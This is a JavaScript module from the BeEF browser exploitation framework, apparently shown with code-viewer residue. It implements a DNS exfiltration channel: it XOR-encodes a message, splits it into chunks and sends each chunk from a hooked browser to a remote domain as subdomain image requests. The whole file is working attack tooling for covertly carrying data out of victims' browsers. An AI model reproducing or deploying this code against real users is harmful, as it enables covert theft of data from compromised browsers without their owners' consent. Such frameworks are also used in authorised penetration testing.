74 lines
1.9 KiB
JavaScript
74 lines
1.9 KiB
JavaScript
//
|
|
// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
|
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
|
// See the file 'doc/COPYING' for copying permission
|
|
//
|
|
|
|
/*!
|
|
* @literal object: beef.net.dns
|
|
*
|
|
* request object structure:
|
|
* + msgId: {Integer} Unique message ID for the request.
|
|
* + domain: {String} Remote domain to retrieve the data.
|
|
* + wait: {Integer} Wait time between requests (milliseconds) - NOT IMPLEMENTED
|
|
* + callback: {Function} Callback function to receive the number of requests sent.
|
|
*/
|
|
|
|
beef.net.dns = {
|
|
|
|
handler: "dns",
|
|
|
|
send: function(msgId, messageString, domain, wait, callback) {
|
|
|
|
var dom = document.createElement('b');
|
|
|
|
// DNS settings
|
|
var max_domain_length = 255-5-5-5-5-5;
|
|
var max_segment_length = max_domain_length - domain.length;
|
|
|
|
// splits strings into chunks
|
|
String.prototype.chunk = function(n) {
|
|
if (typeof n=='undefined') n=100;
|
|
return this.match(RegExp('.{1,'+n+'}','g'));
|
|
};
|
|
|
|
// XORs a string
|
|
xor_encrypt = function(str, key) {
|
|
var result="";
|
|
for(i=0;i<str.length;++i) {
|
|
result+=String.fromCharCode(key^str.charCodeAt(i));
|
|
}
|
|
return result;
|
|
};
|
|
|
|
// sends a DNS request
|
|
sendQuery = function(query) {
|
|
//console.log("Requesting: "+query);
|
|
var img = new Image;
|
|
img.src = "http://"+query;
|
|
img.onload = function() { dom.removeChild(this); }
|
|
img.onerror = function() { dom.removeChild(this); }
|
|
dom.appendChild(img);
|
|
};
|
|
|
|
// encode message
|
|
var xor_key = Math.floor(Math.random()*99000+1000);
|
|
encoded_message = encodeURI(xor_encrypt(messageString, xor_key)).replace(/%/g,".");
|
|
|
|
// Split message into segments
|
|
segments = encoded_message.chunk(max_segment_length)
|
|
for (seq=1; seq<=segments.length; seq++) {
|
|
// send segment
|
|
sendQuery(msgId+"."+seq+"."+segments.length+"."+xor_key+segments[seq-1]+"."+domain);
|
|
}
|
|
|
|
// callback - returns the number of queries sent
|
|
if (!!callback) callback(segments.length);
|
|
|
|
}
|
|
|
|
};
|
|
|
|
beef.regCmp('beef.net.dns');
|
|
|